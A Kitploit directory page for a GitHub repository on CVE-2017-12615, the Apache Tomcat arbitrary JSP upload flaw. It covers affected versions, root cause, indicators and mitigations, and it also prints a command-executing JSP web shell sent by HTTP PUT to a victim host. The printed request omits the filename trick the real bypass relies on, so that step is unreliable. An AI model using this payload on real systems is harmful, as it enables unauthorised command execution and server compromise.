Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-12615 — CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE) | Kitploit
Tools/GitHubGitHub/k3ystr0k3r/cve-2017-12615
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubk3ystr0k3r/cve-2017-12615

CVE-2017-12615

CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)

CVE-2017-12615 is a Remote Code Execution (RCE) vulnerability affecting Apache Tomcat 7.0.0 through 7.0.79 running on Microsoft Windows when HTTP PUT requests are enabled.

The vulnerability exists because Tomcat incorrectly handles uploaded JSP files when the DefaultServlet is configured with the readonly parameter set to false. Under these conditions, an unauthenticated attacker can upload a malicious JSP file directly to the web server and execute arbitrary Java code simply by requesting the uploaded file.

This vulnerability became one of the most well-known Tomcat RCE issues due to how easy it was to weaponize against misconfigured servers.


Affected Versions

  • Apache Tomcat 7.0.0 - 7.0.79
  • Microsoft Windows installations
  • HTTP PUT method enabled
  • readonly="false" configured on the DefaultServlet

Severity

Download Tool
MetricValue
CVECVE-2017-12615
CVSS v38.1 (High)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
ImpactRemote Code Execution

Root Cause

Normally, Apache Tomcat prevents users from uploading executable JSP files.

However, when:

  • HTTP PUT requests are enabled
  • The DefaultServlet is writable (readonly=false)
  • Tomcat is running on Windows

an attacker can upload a JSP file directly into the web root.

Once uploaded, requesting that JSP causes Tomcat to compile and execute it, allowing arbitrary Java code execution under the privileges of the Tomcat service.


Attack Flow

root@kitploit:~
Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

Exploitation Process

A typical attack follows these steps:

  1. Identify a vulnerable Tomcat instance.
  2. Verify that HTTP PUT requests are allowed.
  3. Upload a malicious .jsp web shell.
  4. Request the uploaded JSP.
  5. Execute arbitrary system commands.
  6. Establish a reverse shell or deploy additional payloads.

No authentication is required if the server is vulnerable.


Example Request

Example HTTP PUT request:

root@kitploit:~
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

If successful, the server responds with:

root@kitploit:~
HTTP/1.1 201 Created

The payload can then be executed by visiting:

root@kitploit:~
http://victim.com/shell.jsp?cmd=whoami

Example Detection

A simple way to identify vulnerable systems is to attempt uploading a harmless test JSP:

root@kitploit:~
PUT /test.jsp

Possible responses include:

root@kitploit:~
201 Created

or

root@kitploit:~
204 No Content

If the uploaded file can subsequently be retrieved over HTTP, the server is likely vulnerable.


Impact

Successful exploitation allows an attacker to:

  • Execute arbitrary operating system commands
  • Upload persistent web shells
  • Obtain reverse shells
  • Deploy malware or ransomware
  • Steal sensitive information
  • Pivot deeper into internal networks
  • Fully compromise the affected Tomcat server

Indicators of Compromise

Security teams should investigate for:

  • Unexpected HTTP PUT requests
  • Newly created .jsp files
  • Unknown web shells
  • Suspicious child processes spawned by Tomcat
  • Reverse shell network connections
  • Unusual activity within the Tomcat web root

Mitigation

Recommended mitigations include:

  • Upgrade Apache Tomcat to a patched release.
  • Disable HTTP PUT unless absolutely required.
  • Ensure the DefaultServlet uses readonly="true".
  • Restrict upload permissions.
  • Monitor for unexpected JSP file creation.
  • Deploy a Web Application Firewall (WAF).
  • Regularly review Tomcat access logs for suspicious PUT requests.

Technical Summary

PropertyValue
VulnerabilityArbitrary JSP Upload
CWECWE-434 - Unrestricted Upload of File with Dangerous Type
Authentication RequiredNo
Exploit ComplexityLow on vulnerable configurations
ResultRemote Code Execution
PlatformWindows
ServiceApache Tomcat

References

  • NIST National Vulnerability Database (NVD)
  • Apache Tomcat Security Advisories
  • CVE Record: CVE-2017-12615

Disclaimer

This repository is intended solely for educational purposes, defensive security research, and authorized penetration testing. Do not use this information against systems without explicit permission.